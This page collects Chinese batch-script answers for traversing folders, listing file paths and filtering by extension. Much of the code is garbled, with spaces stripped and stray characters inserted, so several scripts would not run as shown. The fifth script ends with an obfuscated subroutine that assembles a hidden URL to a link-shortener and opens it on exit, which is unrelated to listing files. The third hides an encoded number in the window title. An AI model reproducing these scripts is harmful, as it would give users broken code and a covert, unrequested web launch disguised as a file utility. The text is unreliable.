㈠ 批處理遍歷文件夾文件,用遍歷到文件名在txt中提取同文件名字文本行
放在源目錄執行,如果提示拒絕訪問,右鍵以管理員員版身份運行BAT。權
@echooff
cd/d"%~dp0"
set"txt=aw.txt"
(for/r%%ain(*)do(
findstr"%%~nxa""%txt%"
))>"c:out.txt"
pause
㈡ 批處理怎麼遍歷指定文件夾中所有文件的路徑、文件名及首行內容,放入臨時文件中
把下面的文件存為search1ln.bat,內容如下:
@echooff
@
ifexistaa.txtdelaa.txt
for/f"delims="%%iin('dir%1\%2/s/b/a-d')do(
setfn=%%i
set/pln1=<"%%i"
echo!fn!!ln1!>>aa.txt
)
把上面的文件放在任意文件夾中,運行時,需要進入cmd環境中,在該bat路徑下,輸入:
search1ln.bat d:mydir *.log
其中d:mydir一定要是絕對路徑,您可以自己換,如果路徑中有空格就用雙引號引起來,*.log您也可以自己改。
輸出結果在aa.txt中,每次執行都會把aa.txt刪了,再生成新的。
㈢ 如何用批處理遍歷一個文件夾下所有子目錄和子目錄下的文件
以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI
@echo off
rem 獲取指定目錄下的所回有文件路徑並進行截答取
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
cd /d "%~dp0"
set "folder=D:\xxx\A"
set "outfile=xxx.txt"
type nul>"%outfile%"
if not exist "%folder%" (echo;"%folder%" not found&goto end)
for /f "delims=" %%a in ("%folder%") do set "fd=%%~nxa"
for /f "delims=" %%a in ('dir /a-d/b/s "%folder%\"') do (
set "fpath=%%a"
setlocal enabledelayedexpansion
>>"%outfile%" echo;%fd%!fpath:%folder%=!
endlocal
)
:end
echo;%#% +%$%%$% %z%
pause
㈣ 批處理遍歷文件夾並判斷是否有指定文件的問題
::定義一個變數,是否已重復過
set flag=0
:: 標記
:CheckFile
:: 遍歷指定文件夾,如果發現與name同名的bat文件,執回行,否答則等待5秒,重新剛才的動作,還是沒有,拋出異常
set "folder=D:\code"
for /f "delims=" %%a in ('dir /a-d/b/s "%folder%\"') do echo '%%a'
:: flag = 0 表示沒重復過
if %flag% == 0 (
echo 5秒後重試
:: ping 地址實現等待,5 為 5秒
ping -n 5 127.0.0.1 >nul
:: 改變變數,避免重復
set flag=1
:: 跳到檢測文件前
goto CheckFile
)
pause
㈤ bat 遍歷文件夾所有文件(含子文件),列出不含指定後綴(多個後綴)的文件名稱,謝謝!
@echooff&title列出不含指定後綴的文件名By依夢琴瑤
cd/d"%~dp0"&
::設置需過濾的後綴格式,多個格式之間用英文逗號隔開
setExt=bat,jpg,txt
::設置要搜索的主目錄路徑,當前目錄請留空
setFolder=D:Test
::設置獲取的文件名保存列表文本
setNameList=FileNameList.txt
echo正在獲取文件名中,過程可能會耗時,請耐心等待。。。
ifdefinedFoldercd/d"%Folder%"
(for/f"delims="%%ain('dir/a-d/s/b')do(
set"Skip="
for%%bin(%Ext%)do(
if/i"%%~xa"==".%%~b"setSkip=OK
)
ifnotdefinedSkip(
echo%%~nxa
)
))>"%NameList%"
echo,&echo文件名獲取完畢,已寫入您指定的文本列表中。
echo,&echo請按任意鍵退出腳本。
pause>nul
call:Don
exit
:Don
set"S0=fPdv"
set"S1=.:ailnhpst/"
set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
務必比對原文代碼,以免有誤。
腳本保存編碼務必設為ANSI。
請嚴格按照要求保存代碼,否則影響腳本正常運行。